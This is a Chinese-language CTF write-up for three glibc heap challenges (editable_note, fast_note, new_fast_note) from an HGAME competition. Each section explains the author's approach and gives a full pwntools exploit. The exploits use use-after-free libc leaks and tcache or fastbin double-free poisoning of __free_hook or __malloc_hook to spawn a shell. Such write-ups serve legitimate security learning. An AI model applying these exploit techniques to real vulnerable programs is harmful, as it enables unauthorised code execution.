editable_note
2.31的堆(加入了tcache double free的检测),保护全开
程序功能:
1.add:最多申请16个堆块,size小于0xff,index自定
2.free:堆块没有置0,存在uaf
3 edit:正常的编辑,size根据之前填入的来确定
4show:打印内容
思路:存在uaf可以考虑结合show打印出main arena+96的地址来算libc偏移,然后利用tcachebin attack劫持fd指针到free_hook进行改写。
具体步骤:
1.先申请八个堆块进行free,这样第八个堆块就会进入unsorted bin可以用来泄露libc。
for i in range(8):
add(i,0x80)
for i in range(7):
dele(i)
add(8,0x10)
dele(7)
show(7)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(main_arena))
libcbase=main_arena-96-0x10-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system'] +0x30
free=libcbase+libc.sym['__free_hook']
malloc_hook=libcbase+libc.sym['__malloc_hook']
print(hex(system))
print(hex(free))
此时show(7)就可以得到main_arena+96的地址了
2.接下来就是利用tcache bin attack将tcache bin的fd改为free_hook实现任意地址写。
edit(6,p64(free)*2) 之后,可以看到fd已被改成free_hook了。
接下来申请两个堆就能申请到free_hook上,然后改写为system,接着free一块写有/bin/sh的堆块即可getshell
edit(6,p64(free)*2)
gdb.attach(p)
add(9,0x80)
add(10,0x80)
edit(10,p64(system)*2)
add(11,0xa0)
edit(11,b'/bin/sh\x00'*4)
dele(11)
完整exp:
from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')
mode =0
if mode == 0:
p=process('./vuln')
else:
p = remote('week-2.hgame.lwsec.cn',30697)
def add(leng,color):
p.sendlineafter('>','1')
p.sendlineafter('Index:',str(leng))
p.sendlineafter('Size:',str(color))
def dele(id1):
p.sendlineafter('>','2')
p.sendlineafter('Index:',str(id1))
def show(id1):
p.sendlineafter('>','4')
p.sendlineafter('Index:',str(id1))
def edit(id1,name):
p.sendlineafter('>','3')
p.sendlineafter('Index:',str(id1))
p.sendafter('Content:',name)
for i in range(8):
add(i,0x80)
for i in range(7):
dele(i)
add(8,0x10)
dele(7)
show(7)
main_arena=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(main_arena))
libcbase=main_arena-96-0x10-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system'] +0x30
free=libcbase+libc.sym['__free_hook']
malloc_hook=libcbase+libc.sym['__malloc_hook']
print(hex(system))
print(hex(free))
edit(6,p64(free)*2)
gdb.attach(p)
add(9,0x80)
add(10,0x80)
edit(10,p64(system)*2)
add(11,0xa0)
edit(11,b'/bin/sh\x00'*4)
dele(11)
p.interactive()
总结:这算是一道入门级别的2.31堆题了,功能较为齐全,漏洞的利用也比较清晰,只要稍微了解一下2.31堆的机制应该就能做出来。
这里有个问题,我在patch2.31-0ubuntu9.9时出现下面的错误,但是不太懂怎么搞。
fast_note
2.23的堆,Partial RELRO 题目叫fast_note可以考虑fastbin attack。
程序功能:
1add:申请指定index的堆,最多16个,会填入内容,size小于0xff
2.free:经典uaf了,直接猜测时fastbin doublefree
3 show:泄露功能,可以用来泄露libc
思路:先利用unsortedbin attack 泄露地址,然后利用fastbin double free实现地址任意写。
具体步骤:
1.先申请了0x80的堆块可以实现main arena的泄露。
add(0,0x80,'aaaa')
add(1,0x80,'aaaa')
add(2,0x60,'aaaa')
add(3,0x60,'aaaa')
add(4,0xc0,'aaaa')
dele(1)
show(1)
addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libcbase=addr-88-0x10-libc.sym['__malloc_hook']
print(hex(addr))
free=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
malloc_hook=libcbase+libc.sym['__malloc_hook']
one=[0x45226,0x4527a,0xf03a4,0xf1247]
onegadget=libcbase+one[3]
print(hex(free))
print(hex(system))
print(hex(onegadget))
2.接下来利用double free实现地址任意写
dele(2)
dele(3)
dele(2)
add(5,0x60,p64(malloc_hook-0x23))
可以看到fastbin里已经有指向malloc_hook-0x23了(这里-0x23处有7f可以用于绕过size检测)
接下来再申请三个堆就可以申请到我们想要的地址了。
3.往malloc_hook中写入onegadget 然后free一个堆块两次就能get shell了
add(6,0x60,b'aaaa')
add(7,0x60,b'bbbb')
payload=b'\x00'*3+p64(0)*2+p64(onegadget)
add(9,0x60,payload)
dele(2)
dele(2)
完整exp:
from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./vuln')
libc=ELF('./libc-2.23.so')
mode =0
if mode == 0:
p = process("./vuln")
else:
p = remote('week-2.hgame.lwsec.cn',32569)
def add(leng,size,content):
p.sendlineafter('>','1')
p.sendlineafter('Index:',str(leng))
p.sendlineafter('Size:',str(size))
p.sendafter('Content:',content)
def dele(id1):
p.sendlineafter('>','2')
p.sendlineafter('Index:',str(id1))
def show(id1):
p.sendlineafter('>','3')
p.sendlineafter('Index:',str(id1))
def edit(id1,name):
p.sendlineafter('>','3')
p.sendlineafter('Index:',str(id1))
p.sendafter('Content:',name)
add(0,0x80,'aaaa')
add(1,0x80,'aaaa')
add(2,0x60,'aaaa')
add(3,0x60,'aaaa')
add(4,0xc0,'aaaa')
dele(1)
show(1)
addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libcbase=addr-88-0x10-libc.sym['__malloc_hook']
print(hex(addr))
free=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
malloc_hook=libcbase+libc.sym['__malloc_hook']
one=[0x45226,0x4527a,0xf03a4,0xf1247]
onegadget=libcbase+one[3]
print(hex(free))
print(hex(system))
print(hex(onegadget))
dele(2)
dele(3)
dele(2)
add(5,0x60,p64(malloc_hook-0x23))
gdb.attach(p)
add(6,0x60,b'aaaa')
add(7,0x60,b'bbbb')
payload=b'\x00'*3+p64(0)*2+p64(onegadget)
add(9,0x60,payload)
dele(2)
dele(2)
'''
p.sendlineafter('>','1')
p.sendlineafter('Index:',str(10))
p.sendlineafter('Size:',str(0x60))
'''
p.interactive()
小结:此处改malloc_hook为onegadget后,不知道为什么再调用add函数不能getshel而free一个堆块两次却可以,有无大佬知道原因,求教教。
new_fast_note
又是2.31的保护全开的堆
程序功能:
1.add:和上题差不多,这次最多有20个堆
2 free:还是uaf,不多说了
3.show
思路:
泄露libc的思路还是和前边一样,先填满tcache bin然后泄露unsorted bin中的fd指针。接下来再申请0x40的堆填满tcachebin (这里试了一下,如果add的index一样的话就不会多占一个page)然后在实现fastbin的doublefree,(其实2.31好像没有fastbin double free的检测了可以直接free两次,但是我给忘记了)再将tcachebin 中的堆块申请出去这样fastbin中的堆就会自动进入 tcache bin中。最后通过改fd指针实现地址任意写就行。
1.经典的libc泄露那一套,这里13号堆我用来放置top chunk合并(不知道有没有用)。
for i in range(8):
add(i,0x80,'aaaa')
add(13,0xf0,'bbbb')
for i in range(8):
dele(i)
show(7)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
malloc_hook=addr-96-0x10
print(hex(malloc_hook))
libcbase=addr-96-0x10-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system']
free=libcbase+libc.sym['__free_hook']
one=[0xe3afe,0xe3b01,0xe3b04]
onegadget=libcbase+one[1]
2.接下来不断申请fastbin大小的堆再free掉,然后实现double free
for i in range(9):
add(i,0x40,'aaaa')
for i in range(9):
dele(i)
dele(7)
可以看到double free已经成功
3.接下来将0x40的tcache bin清空,这时我再申请0x40的堆块并写入free_hook,fastbin中的堆便会进入tcache中,并且fd也会改写成功
for i in range(7):
add(i,0x40,'aaaa')
add(7,0x40,p64(free))
add(8,0x40,'aaaa')
add(9,0x40,b'/bin/sh\x00')
add(10,0x40,p64(system))
dele(9)
这样我们再申请三个堆就能申请到free_hook中去
完整exp:
from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='amd64', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')
mode =0
if mode == 0:
p = process("./vuln")
else:
p = remote('week-2.hgame.lwsec.cn',30329)
def add(leng,size,content):
p.sendlineafter('>','1')
p.sendlineafter('Index:',str(leng))
p.sendlineafter('Size:',str(size))
p.sendafter('Content:',content)
def dele(id1):
p.sendlineafter('>','2')
p.sendlineafter('Index:',str(id1))
def show(id1):
p.sendlineafter('>','3')
p.sendlineafter('Index:',str(id1))
def edit(id1,name):
p.sendlineafter('>','3')
p.sendlineafter('Index:',str(id1))
p.sendafter('Content:',name)
for i in range(8):
add(i,0x80,'aaaa')
add(13,0xf0,'bbbb')
for i in range(8):
dele(i)
show(7)
addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(addr))
malloc_hook=addr-96-0x10
print(hex(malloc_hook))
libcbase=addr-96-0x10-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system']
free=libcbase+libc.sym['__free_hook']
one=[0xe3afe,0xe3b01,0xe3b04]
onegadget=libcbase+one[1]
for i in range(9):
add(i,0x40,'aaaa')
for i in range(9):
dele(i)
dele(7)
for i in range(7):
add(i,0x40,'aaaa')
add(7,0x40,p64(free))
gdb.attach(p)
add(8,0x40,'aaaa')
add(9,0x40,b'/bin/sh\x00')
add(10,0x40,p64(system))
dele(9)
'''
for i in range(9):
add(i,0x40,'aaaa')
for i in range(9):
dele(i)
for i in range(9):
add(i,0x40,'aaaa')
'''
#gdb.attach(p)
p.interactive()
关于2.31 double的利用我觉得这位师傅讲的挺好的,感兴趣的可以看看。